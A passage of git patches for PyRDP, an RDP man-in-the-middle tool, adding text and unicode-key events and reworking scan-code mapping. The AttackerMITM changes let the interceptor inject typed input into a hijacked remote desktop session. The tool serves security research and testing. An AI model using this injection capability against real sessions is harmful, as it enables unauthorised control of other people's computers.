timestamp: int) -> PlayerMouseButtonPDU: x, y = self.parseMousePosition(stream) button = MouseButton(Uint8.unpack(stream)) @@ -93,6 +99,7 @@ def writeMouseButton(self, pdu: PlayerMouseButtonPDU, stream: BytesIO): Uint8.pack(pdu.button.value, stream) Uint8.pack(int(pdu.pressed), stream) + def parseMouseWheel(self, stream: BytesIO, timestamp: int) -> PlayerMouseWheelPDU: x, y = self.parseMousePosition(stream) delta = Int16LE.unpack(stream) @@ -114,4 +121,18 @@ def parseKeyboard(self, stream: BytesIO, timestamp: int) -> PlayerKeyboardPDU: def writeKeyboard(self, pdu: PlayerKeyboardPDU, stream: BytesIO): Uint16LE.pack(pdu.code, stream) Uint8.pack(int(pdu.released), stream) - Uint8.pack(int(pdu.extended), stream) \ No newline at end of file + Uint8.pack(int(pdu.extended), stream) + + + def parseText(self, stream: BytesIO, timestamp: int) -> PlayerTextPDU: + length = Uint8.unpack(stream) + character = stream.read(length).decode() + released = Uint8.unpack(stream) + return PlayerTextPDU(timestamp, character, bool(released)) + + def writeText(self, pdu: PlayerTextPDU, stream: BytesIO): + encoded = pdu.character[: 1].encode() + + Uint8.pack(len(encoded), stream) + stream.write(encoded) + Uint8.pack(int(pdu.released), stream) diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 012b11101..cdd375786 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,7 +9,7 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU +from pyrdp.pdu.player import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index 16d6493e2..d75fccf4c 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -67,4 +67,15 @@ def __init__(self, timestamp: int, code: int, released: bool, extended: bool): super().__init__(PlayerPDUType.KEYBOARD, timestamp, b"") self.code = code self.released = released - self.extended = extended \ No newline at end of file + self.extended = extended + + +class PlayerTextPDU(PlayerPDU): + """ + PDU definition for text events coming from the player. + """ + + def __init__(self, timestamp: int, character: str, released: bool): + super().__init__(PlayerPDUType.TEXT, timestamp, b"") + self.character = character + self.released = released From 0adca224ce44e9e364f08d5f89ddedfb617498be Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 13:23:31 -0400 Subject: [PATCH 024/113] Send text events instead of keyboard for text --- pyrdp/mitm/AttackerMITM.py | 12 +++++++++--- pyrdp/pdu/__init__.py | 5 +++-- pyrdp/player/LiveTab.py | 5 ++++- pyrdp/player/LiveWindow.py | 8 +++++++- pyrdp/player/MainWindow.py | 11 +---------- pyrdp/player/RDPMITMWidget.py | 25 ++++++++++++++++++++++++- 6 files changed, 48 insertions(+), 18 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index 7bfd5253c..fbb82ac73 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -6,10 +6,10 @@ from logging import LoggerAdapter -from pyrdp.enum import FastPathInputType, KeyboardFlag, MouseButton, PlayerPDUType, PointerFlag +from pyrdp.enum import FastPathInputType, MouseButton, PlayerPDUType, PointerFlag from pyrdp.layer import FastPathLayer, PlayerLayer -from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, PlayerKeyboardPDU, \ - PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU +from pyrdp.pdu import FastPathInputEvent, FastPathMouseEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, \ + PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU from pyrdp.recording import Recorder @@ -41,6 +41,7 @@ def __init__(self, server: FastPathLayer, attacker: PlayerLayer, log: LoggerAdap PlayerPDUType.MOUSE_BUTTON: self.handleMouseButton, PlayerPDUType.MOUSE_WHEEL: self.handleMouseWheel, PlayerPDUType.KEYBOARD: self.handleKeyboard, + PlayerPDUType.TEXT: self.handleText, } @@ -104,4 +105,9 @@ def handleMouseWheel(self, pdu: PlayerMouseWheelPDU): def handleKeyboard(self, pdu: PlayerKeyboardPDU): event = FastPathScanCodeEvent(2 if pdu.extended else 0, pdu.code, pdu.released) + self.sendInputEvents([event]) + + + def handleText(self, pdu: PlayerTextPDU): + event = FastPathUnicodeEvent(pdu.character, pdu.released) self.sendInputEvents([event]) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index cdd375786..5a71c775f 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,7 +9,8 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU -from pyrdp.pdu.player import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU +from pyrdp.pdu.player import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ @@ -25,7 +26,7 @@ ServerNetworkData, ServerSecurityData from pyrdp.pdu.rdp.fastpath import FastPathBitmapEvent, FastPathEvent, FastPathEventRaw, FastPathInputEvent, \ FastPathMouseEvent, FastPathOrdersEvent, FastPathOutputEvent, FastPathOutputEvent, FastPathPDU, \ - FastPathScanCodeEvent, SecondaryDrawingOrder + FastPathScanCodeEvent, FastPathUnicodeEvent, SecondaryDrawingOrder from pyrdp.pdu.rdp.input import ExtendedMouseEvent, KeyboardEvent, MouseEvent, SlowPathInput, SynchronizeEvent, \ UnicodeKeyboardEvent, UnusedEvent from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 2261995c2..e62101b02 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -43,4 +43,7 @@ def onClose(self): self.layers.tcp.disconnect(True) def sendKeySequence(self, keys: [Qt.Key]): - self.rdpWidget.sendKeySequence(keys) \ No newline at end of file + self.rdpWidget.sendKeySequence(keys) + + def sendText(self, text: str): + self.rdpWidget.sendText(text) \ No newline at end of file diff --git a/pyrdp/player/LiveWindow.py b/pyrdp/player/LiveWindow.py index 283464d76..7fc88995b 100644 --- a/pyrdp/player/LiveWindow.py +++ b/pyrdp/player/LiveWindow.py @@ -48,4 +48,10 @@ def sendKeySequence(self, keys: [Qt.Key]): tab: LiveTab = self.currentWidget() if tab is not None: - tab.sendKeySequence(keys) \ No newline at end of file + tab.sendKeySequence(keys) + + def sendText(self, text: str): + tab: LiveTab = self.currentWidget() + + if tab is not None: + tab.sendText(text) \ No newline at end of file diff --git a/pyrdp/player/MainWindow.py b/pyrdp/player/MainWindow.py index 3ac616c6f..f0341fd9c 100644 --- a/pyrdp/player/MainWindow.py +++ b/pyrdp/player/MainWindow.py @@ -91,13 +91,4 @@ def sendText(self): if not success: return - for c in text: - if c == " ": - self.liveWindow.sendKeySequence([Qt.Key.Key_Space]) - elif c.isalnum(): - keys = [getattr(Qt.Key, f"Key_{c.upper()}")] - - if c.isupper(): - keys.insert(0, Qt.Key.Key_Shift) - - self.liveWindow.sendKeySequence(keys) \ No newline at end of file + self.liveWindow.sendText(text) \ No newline at end of file diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 506c88932..31600198e 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -1,3 +1,4 @@ +import functools import logging import time from typing import Dict, List, Optional, Union @@ -9,7 +10,7 @@ from pyrdp.enum import MouseButton from pyrdp.layer import PlayerLayer from pyrdp.logging import LOGGER_NAMES -from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU +from pyrdp.pdu import PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerTextPDU from pyrdp.player.Sequencer import Sequencer from pyrdp.ui import QRemoteDesktop @@ -274,4 +275,26 @@ def release(): self.layer.sendPDU(pdu) sequencer = Sequencer([press, release]) + sequencer.run() + + def sendText(self, text: str): + functions = [] + + def pressCharacter(character: str): + pdu = PlayerTextPDU(self.getTimetamp(), character, False) + print(c) + self.layer.sendPDU(pdu) + return RDPMITMWidget.KEY_SEQUENCE_DELAY + + def releaseCharacter(character: str): + pdu = PlayerTextPDU(self.getTimetamp(), character, True) + self.layer.sendPDU(pdu) + + for c in text: + press = functools.partial(pressCharacter, c) + release = functools.partial(releaseCharacter, c) + functions.append(press) + functions.append(release) + + sequencer = Sequencer(functions) sequencer.run() \ No newline at end of file From f73a442d282b03287c6949037fb6515cdfc3deae Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 14:13:23 -0400 Subject: [PATCH 025/113] Use unicode events for textual keys --- pyrdp/player/PlayerHandler.py | 15 ++++++++++----- pyrdp/player/RDPMITMWidget.py | 7 +++++++ 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/pyrdp/player/PlayerHandler.py b/pyrdp/player/PlayerHandler.py index 40e0bb61c..f818cd4ad 100644 --- a/pyrdp/player/PlayerHandler.py +++ b/pyrdp/player/PlayerHandler.py @@ -14,12 +14,11 @@ from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, SlowPathUpdateType from pyrdp.layer import PlayerObserver from pyrdp.logging import log -from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientInfoParser, ClipboardParser, FastPathOutputParser, \ - SlowPathParser -from pyrdp.parser.rdp.connection import ClientConnectionParser +from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, \ + FastPathOutputParser, SlowPathParser from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOrdersEvent, \ - FastPathScanCodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, PlayerPDU, UpdatePDU -from pyrdp.pdu.rdp.fastpath import FastPathOutputEvent + FastPathOutputEvent, FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, \ + MouseEvent, PlayerPDU, UpdatePDU from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage @@ -75,6 +74,8 @@ def onInput(self, pdu: PlayerPDU): if isinstance(event, FastPathScanCodeEvent): log.debug("handling %(arg1)s", {"arg1": event}) self.onScanCode(event.scancode, not event.isReleased) + elif isinstance(event, FastPathUnicodeEvent) and not event.released: + self.onUnicode(event) elif isinstance(event, FastPathMouseEvent): self.onMousePosition(event.mouseX, event.mouseY) else: @@ -99,6 +100,10 @@ def onScanCode(self, code: int, isPressed: bool): self.text.moveCursor(QTextCursor.End) self.text.insertPlainText(char if self.writeInCaps else char.lower()) + def onUnicode(self, event: FastPathUnicodeEvent): + self.text.moveCursor(QTextCursor.End) + self.text.insertPlainText(str(event.text)) + def onMousePosition(self, x: int, y: int): self.viewer.setMousePosition(x, y) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index 31600198e..f8e825d0f 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -242,10 +242,17 @@ def keyReleaseEvent(self, event: QKeyEvent): self.handleKeyEvent(event, True) def handleKeyEvent(self, event: QKeyEvent, released: bool): + if event.text() != "" and ord(event.text()) >= 0x20: + pdu = PlayerTextPDU(self.getTimetamp(), event.text(), released) + self.layer.sendPDU(pdu) + return + scanCode = self.findScanCodeForEvent(event) if scanCode is not None: event.setAccepted(True) + else: + return pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released, event.key() in RDPMITMWidget.EXTENDED_KEYS) self.layer.sendPDU(pdu) From 4d8b1512684b211ccf4dec26ea7a1022ded66112 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 16:38:15 -0400 Subject: [PATCH 026/113] Use scan code events again --- pyrdp/player/RDPMITMWidget.py | 304 +++++++++++++++++++--------------- 1 file changed, 166 insertions(+), 138 deletions(-) diff --git a/pyrdp/player/RDPMITMWidget.py b/pyrdp/player/RDPMITMWidget.py index f8e825d0f..0e59e4cbf 100644 --- a/pyrdp/player/RDPMITMWidget.py +++ b/pyrdp/player/RDPMITMWidget.py @@ -1,7 +1,8 @@ import functools import logging +import platform import time -from typing import Dict, List, Optional, Union +from typing import Optional, Union from PySide2.QtCore import QEvent, QObject, Qt from PySide2.QtGui import QKeyEvent, QMouseEvent, QWheelEvent @@ -21,126 +22,168 @@ class RDPMITMWidget(QRemoteDesktop): """ SCANCODE_MAPPING = { - 0x01: Qt.Key.Key_Escape, - 0x02: [Qt.Key.Key_1, Qt.Key.Key_Exclam], - 0x03: [Qt.Key.Key_2, Qt.Key.Key_At], - 0x04: [Qt.Key.Key_3, Qt.Key.Key_NumberSign], - 0x05: [Qt.Key.Key_4, Qt.Key.Key_Dollar], - 0x06: [Qt.Key.Key_5, Qt.Key.Key_Percent], - 0x07: [Qt.Key.Key_6, Qt.Key.Key_AsciiCircum], - 0x08: [Qt.Key.Key_7, Qt.Key.Key_Ampersand], - 0x09: [Qt.Key.Key_8, Qt.Key.Key_Asterisk], - 0x0A: [Qt.Key.Key_9, Qt.Key.Key_ParenLeft], - 0x0B: [Qt.Key.Key_0, Qt.Key.Key_ParenRight], - 0x0C: [Qt.Key.Key_Minus, Qt.Key.Key_Underscore], - 0x0D: [Qt.Key.Key_Equal, Qt.Key.Key_Plus], - 0x0E: Qt.Key.Key_Backspace, - 0x0F: Qt.Key.Key_Tab, - 0x10: Qt.Key.Key_Q, - 0x11: Qt.Key.Key_W, - 0x12: Qt.Key.Key_E, - 0x13: Qt.Key.Key_R, - 0x14: Qt.Key.Key_T, - 0x15: Qt.Key.Key_Y, - 0x16: Qt.Key.Key_U, - 0x17: Qt.Key.Key_I, - 0x18: Qt.Key.Key_O, - 0x19: Qt.Key.Key_P, - 0x1A: [Qt.Key.Key_BracketLeft, Qt.Key.Key_BraceLeft], - 0x1B: [Qt.Key.Key_BracketRight, Qt.Key.Key_BraceRight], - 0x1C: Qt.Key.Key_Return, - 0x1D: Qt.Key.Key_Control, - 0x1E: Qt.Key.Key_A, - 0x1F: Qt.Key.Key_S, - 0x20: Qt.Key.Key_D, - 0x21: Qt.Key.Key_F, - 0x22: Qt.Key.Key_G, - 0x23: Qt.Key.Key_H, - 0x24: Qt.Key.Key_J, - 0x25: Qt.Key.Key_K, - 0x26: Qt.Key.Key_L, - 0x27: [Qt.Key.Key_Semicolon, Qt.Key.Key_Colon], - 0x28: [Qt.Key.Key_Apostrophe, Qt.Key.Key_QuoteDbl], - 0x29: [Qt.Key.Key_QuoteLeft, Qt.Key.Key_AsciiTilde], - 0x2A: Qt.Key.Key_Shift, - 0x2B: [Qt.Key.Key_Backslash, Qt.Key.Key_Bar], - 0x2C: Qt.Key.Key_Z, - 0x2D: Qt.Key.Key_X, - 0x2E: Qt.Key.Key_C, - 0x2F: Qt.Key.Key_V, - 0x30: Qt.Key.Key_B, - 0x31: Qt.Key.Key_N, - 0x32: Qt.Key.Key_M, - 0x33: [Qt.Key.Key_Comma, Qt.Key.Key_Less], - 0x34: [Qt.Key.Key_Period, Qt.Key.Key_Greater], - 0x35: [Qt.Key.Key_Slash, Qt.Key.Key_Question], - 0x37: Qt.Key.Key_Print, - 0x38: [Qt.Key.Key_Alt, Qt.Key.Key_AltGr], - 0x39: Qt.Key.Key_Space, - 0x3A: Qt.Key.Key_CapsLock, - 0x3B: Qt.Key.Key_F1, - 0x3C: Qt.Key.Key_F2, - 0x3D: Qt.Key.Key_F3, - 0x3E: Qt.Key.Key_F4, - 0x3F: Qt.Key.Key_F5, - 0x40: Qt.Key.Key_F6, - 0x41: Qt.Key.Key_F7, - 0x42: Qt.Key.Key_F8, - 0x43: Qt.Key.Key_F9, - 0x44: Qt.Key.Key_F10, - 0x45: Qt.Key.Key_NumLock, - 0x46: Qt.Key.Key_ScrollLock, - 0x47: Qt.Key.Key_Home, - 0x48: Qt.Key.Key_Up, - 0x49: Qt.Key.Key_PageUp, - 0x4b: Qt.Key.Key_Left, - 0x4d: Qt.Key.Key_Right, - 0x4f: Qt.Key.Key_End, - 0x50: Qt.Key.Key_Down, - 0x51: Qt.Key.Key_PageDown, - 0x52: Qt.Key.Key_Insert, - 0x53: Qt.Key.Key_Delete, - 0x54: Qt.Key.Key_SysReq, - 0x57: Qt.Key.Key_F11, - 0x58: Qt.Key.Key_F12, - 0x5b: Qt.Key.Key_Meta, - 0x5F: Qt.Key.Key_Sleep, - 0x62: Qt.Key.Key_Zoom, - 0x63: Qt.Key.Key_Help, - 0x64: Qt.Key.Key_F13, - 0x65: Qt.Key.Key_F14, - 0x66: Qt.Key.Key_F15, - 0x67: Qt.Key.Key_F16, - 0x68: Qt.Key.Key_F17, - 0x69: Qt.Key.Key_F18, - 0x6A: Qt.Key.Key_F19, - 0x6B: Qt.Key.Key_F20, - 0x6C: Qt.Key.Key_F21, - 0x6D: Qt.Key.Key_F22, - 0x6E: Qt.Key.Key_F23, - 0x6F: Qt.Key.Key_F24, - 0x70: Qt.Key.Key_Hiragana, - 0x71: Qt.Key.Key_Kanji, - 0x72: Qt.Key.Key_Hangul, + Qt.Key.Key_Escape: 0x01, + Qt.Key.Key_1: 0x02, + Qt.Key.Key_Exclam: 0x02, + Qt.Key.Key_2: 0x03, + Qt.Key.Key_At: 0x03, + Qt.Key.Key_3: 0x04, + Qt.Key.Key_NumberSign: 0x04, + Qt.Key.Key_4: 0x05, + Qt.Key.Key_Dollar: 0x05, + Qt.Key.Key_5: 0x06, + Qt.Key.Key_Percent: 0x06, + Qt.Key.Key_6: 0x07, + Qt.Key.Key_AsciiCircum: 0x07, + Qt.Key.Key_7: 0x08, + Qt.Key.Key_Ampersand: 0x08, + Qt.Key.Key_8: 0x09, + Qt.Key.Key_Asterisk: 0x09, + Qt.Key.Key_9: 0x0A, + Qt.Key.Key_ParenLeft: 0x0A, + Qt.Key.Key_0: 0x0B, + Qt.Key.Key_ParenRight: 0x0B, + Qt.Key.Key_Minus: 0x0C, + Qt.Key.Key_Underscore: 0x0C, + Qt.Key.Key_Equal: 0x0D, + Qt.Key.Key_Plus: 0x0D, + Qt.Key.Key_Backspace: 0x0E, + Qt.Key.Key_Tab: 0x0F, + Qt.Key.Key_Q: 0x10, + Qt.Key.Key_W: 0x11, + Qt.Key.Key_E: 0x12, + Qt.Key.Key_R: 0x13, + Qt.Key.Key_T: 0x14, + Qt.Key.Key_Y: 0x15, + Qt.Key.Key_U: 0x16, + Qt.Key.Key_I: 0x17, + Qt.Key.Key_O: 0x18, + Qt.Key.Key_P: 0x19, + Qt.Key.Key_BracketLeft: 0x1A, + Qt.Key.Key_BraceLeft: 0x1A, + Qt.Key.Key_BracketRight: 0x1B, + Qt.Key.Key_BraceRight: 0x1B, + Qt.Key.Key_Return: 0x1C, + Qt.Key.Key_Control: 0x1D, + Qt.Key.Key_A: 0x1E, + Qt.Key.Key_S: 0x1F, + Qt.Key.Key_D: 0x20, + Qt.Key.Key_F: 0x21, + Qt.Key.Key_G: 0x22, + Qt.Key.Key_H: 0x23, + Qt.Key.Key_J: 0x24, + Qt.Key.Key_K: 0x25, + Qt.Key.Key_L: 0x26, + Qt.Key.Key_Semicolon: 0x27, + Qt.Key.Key_Colon: 0x27, + Qt.Key.Key_Apostrophe: 0x28, + Qt.Key.Key_QuoteDbl: 0x28, + Qt.Key.Key_QuoteLeft: 0x29, + Qt.Key.Key_AsciiTilde: 0x29, + Qt.Key.Key_Shift: 0x2A, + Qt.Key.Key_Backslash: 0x2B, + Qt.Key.Key_Bar: 0x2B, + Qt.Key.Key_Z: 0x2C, + Qt.Key.Key_X: 0x2D, + Qt.Key.Key_C: 0x2E, + Qt.Key.Key_V: 0x2F, + Qt.Key.Key_B: 0x30, + Qt.Key.Key_N: 0x31, + Qt.Key.Key_M: 0x32, + Qt.Key.Key_Comma: 0x33, + Qt.Key.Key_Less: 0x33, + Qt.Key.Key_Period: 0x34, + Qt.Key.Key_Greater: 0x34, + Qt.Key.Key_Slash: 0x35, + Qt.Key.Key_Question: 0x35, + Qt.Key.Key_Print: 0x37, + Qt.Key.Key_Alt: 0x38, + Qt.Key.Key_AltGr: 0x38, + Qt.Key.Key_Space: 0x39, + Qt.Key.Key_CapsLock: 0x3A, + Qt.Key.Key_F1: 0x3B, + Qt.Key.Key_F2: 0x3C, + Qt.Key.Key_F3: 0x3D, + Qt.Key.Key_F4: 0x3E, + Qt.Key.Key_F5: 0x3F, + Qt.Key.Key_F6: 0x40, + Qt.Key.Key_F7: 0x41, + Qt.Key.Key_F8: 0x42, + Qt.Key.Key_F9: 0x43, + Qt.Key.Key_F10: 0x44, + Qt.Key.Key_NumLock: 0x45, + Qt.Key.Key_ScrollLock: 0x46, + Qt.Key.Key_Home: 0x47, + Qt.Key.Key_Up: 0x48, + Qt.Key.Key_PageUp: 0x49, + Qt.Key.Key_Left: 0x4B, + Qt.Key.Key_Right: 0x4D, + Qt.Key.Key_End: 0x4F, + Qt.Key.Key_Down: 0x50, + Qt.Key.Key_PageDown: 0x51, + Qt.Key.Key_Insert: 0x52, + Qt.Key.Key_Delete: 0x53, + Qt.Key.Key_SysReq: 0x54, + Qt.Key.Key_F11: 0x57, + Qt.Key.Key_F12: 0x58, + Qt.Key.Key_Meta: 0x5B, + Qt.Key.Key_Menu: 0x5D, + Qt.Key.Key_Sleep: 0x5F, + Qt.Key.Key_Zoom: 0x62, + Qt.Key.Key_Help: 0x63, + Qt.Key.Key_F13: 0x64, + Qt.Key.Key_F14: 0x65, + Qt.Key.Key_F15: 0x66, + Qt.Key.Key_F16: 0x67, + Qt.Key.Key_F17: 0x68, + Qt.Key.Key_F18: 0x69, + Qt.Key.Key_F19: 0x6A, + Qt.Key.Key_F20: 0x6B, + Qt.Key.Key_F21: 0x6C, + Qt.Key.Key_F22: 0x6D, + Qt.Key.Key_F23: 0x6E, + Qt.Key.Key_F24: 0x6F, + Qt.Key.Key_Hiragana: 0x70, + Qt.Key.Key_Kanji: 0x71, + Qt.Key.Key_Hangul: 0x72, } SCANCODE_MAPPING_NUMPAD = { - 0x47: Qt.Key.Key_7, - 0x48: Qt.Key.Key_8, - 0x49: Qt.Key.Key_9, - 0x4A: Qt.Key.Key_Minus, - 0x4B: Qt.Key.Key_4, - 0x4C: Qt.Key.Key_5, - 0x4D: Qt.Key.Key_6, - 0x4E: Qt.Key.Key_Plus, - 0x4F: Qt.Key.Key_1, - 0x50: Qt.Key.Key_2, - 0x51: Qt.Key.Key_3, - 0x52: Qt.Key.Key_0, - 0x53: Qt.Key.Key_Period, + Qt.Key.Key_Enter: 0x1C, + Qt.Key.Key_Slash: 0x35, + Qt.Key.Key_Asterisk: 0x37, + Qt.Key.Key_7: 0x47, + Qt.Key.Key_8: 0x48, + Qt.Key.Key_9: 0x49, + Qt.Key.Key_Minus: 0x4A, + Qt.Key.Key_4: 0x4B, + Qt.Key.Key_5: 0x4C, + Qt.Key.Key_6: 0x4D, + Qt.Key.Key_Plus: 0x4E, + Qt.Key.Key_1: 0x4F, + Qt.Key.Key_2: 0x50, + Qt.Key.Key_3: 0x51, + Qt.Key.Key_0: 0x52, + Qt.Key.Key_Period: 0x53, } - EXTENDED_KEYS = [Qt.Key.Key_Meta, Qt.Key.Key_AltGr] + EXTENDED_KEYS = [ + Qt.Key.Key_Meta, + Qt.Key.Key_AltGr, + Qt.Key.Key_PageUp, + Qt.Key.Key_PageDown, + Qt.Key.Key_Insert, + Qt.Key.Key_Delete, + Qt.Key.Key_Home, + Qt.Key.Key_End, + Qt.Key.Key_Print, + Qt.Key.Key_Left, + Qt.Key.Key_Right, + Qt.Key.Key_Up, + Qt.Key.Key_Down, + Qt.Key.Key_Menu, + ] + KEY_SEQUENCE_DELAY = 0 @@ -217,17 +260,7 @@ def findScanCodeForEvent(self, event: QKeyEvent) -> Optional[int]: mapping = RDPMITMWidget.SCANCODE_MAPPING key = event.key() - - return self.findScanCodeForKey(key, mapping) - - def findScanCodeForKey(self, key: Qt.Key, mapping: Dict[int, Union[Qt.Key, List[Qt.Key]]]) -> Optional[int]: - for k, v in mapping.items(): - if isinstance(v, list) and key in v: - return k - elif v == key: - return k - - return None + return mapping.get(key, None) def isRightControl(self, event: QKeyEvent): return event.key() == Qt.Key.Key_Control and event.nativeScanCode() > 50 @@ -242,18 +275,13 @@ def keyReleaseEvent(self, event: QKeyEvent): self.handleKeyEvent(event, True) def handleKeyEvent(self, event: QKeyEvent, released: bool): - if event.text() != "" and ord(event.text()) >= 0x20: - pdu = PlayerTextPDU(self.getTimetamp(), event.text(), released) - self.layer.sendPDU(pdu) - return - - scanCode = self.findScanCodeForEvent(event) - - if scanCode is not None: - event.setAccepted(True) + # After some testing, it seems like scan codes on Linux are 8 higher than their Windows version. + if platform.system() == "Linux": + offset = -8 else: - return + offset = 0 + scanCode = self.findScanCodeForEvent(event) or event.nativeScanCode() + offset pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, released, event.key() in RDPMITMWidget.EXTENDED_KEYS) self.layer.sendPDU(pdu) @@ -262,7 +290,7 @@ def sendKeySequence(self, keys: [Qt.Key]): releasePDUs = [] for key in keys: - scanCode = self.findScanCodeForKey(key, RDPMITMWidget.SCANCODE_MAPPING) + scanCode = RDPMITMWidget.SCANCODE_MAPPING[key] isExtended = key in RDPMITMWidget.EXTENDED_KEYS pdu = PlayerKeyboardPDU(self.getTimetamp(), scanCode, False, isExtended) From 0fb2013c165bb6a09641ea17686192b2c0a219de Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 28 Mar 2019 18:08:02 -0400 Subject: [PATCH 027/113] Refactor scan code handling --- pyrdp/player/PlayerHandler.py | 52 ++++--- pyrdp/player/RDPMITMWidget.py | 200 +++------------------------ pyrdp/player/keyboard.py | 247 ++++++++++++++++++++++++++++++++++ 3 files changed, 296 insertions(+), 203 deletions(-) create mode 100644 pyrdp/player/keyboard.py diff --git a/pyrdp/player/PlayerHandler.py b/pyrdp/player/PlayerHandler.py index f818cd4ad..765231662 100644 --- a/pyrdp/player/PlayerHandler.py +++ b/pyrdp/player/PlayerHandler.py @@ -10,7 +10,6 @@ from PySide2.QtWidgets import QTextEdit from pyrdp.core import decodeUTF16LE -from pyrdp.core.scancode import scancodeToChar from pyrdp.enum import BitmapFlags, CapabilityType, FastPathFragmentation, KeyboardFlag, ParserMode, SlowPathUpdateType from pyrdp.layer import PlayerObserver from pyrdp.logging import log @@ -19,6 +18,7 @@ from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOrdersEvent, \ FastPathOutputEvent, FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, \ MouseEvent, PlayerPDU, UpdatePDU +from pyrdp.player import keyboard from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage @@ -31,6 +31,8 @@ def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): super().__init__() self.viewer = viewer self.text = text + self.shiftPressed = False + self.capsLockOn = False self.writeInCaps = False self.inputParser = BasicFastPathParser(ParserMode.SERVER) @@ -73,37 +75,51 @@ def onInput(self, pdu: PlayerPDU): for event in pdu.events: if isinstance(event, FastPathScanCodeEvent): log.debug("handling %(arg1)s", {"arg1": event}) - self.onScanCode(event.scancode, not event.isReleased) - elif isinstance(event, FastPathUnicodeEvent) and not event.released: - self.onUnicode(event) + self.onScanCode(event.scancode, event.isReleased, event.rawHeaderByte & 2 != 0) + elif isinstance(event, FastPathUnicodeEvent): + if not event.released: + self.onUnicode(event) elif isinstance(event, FastPathMouseEvent): - self.onMousePosition(event.mouseX, event.mouseY) + self.onMouse(event) else: log.debug("Can't handle input event: %(arg1)s", {"arg1": event}) - def onScanCode(self, code: int, isPressed: bool): + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): """ Handle scan code. """ - log.debug("Reading scancode %(arg1)s", {"arg1": code}) + log.debug("Reading scan code %(arg1)s", {"arg1": scanCode}) + keyName 